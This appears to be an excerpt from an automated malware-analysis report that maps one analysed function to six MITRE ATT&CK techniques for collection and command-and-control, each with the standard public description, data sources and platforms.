Function 00AD0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre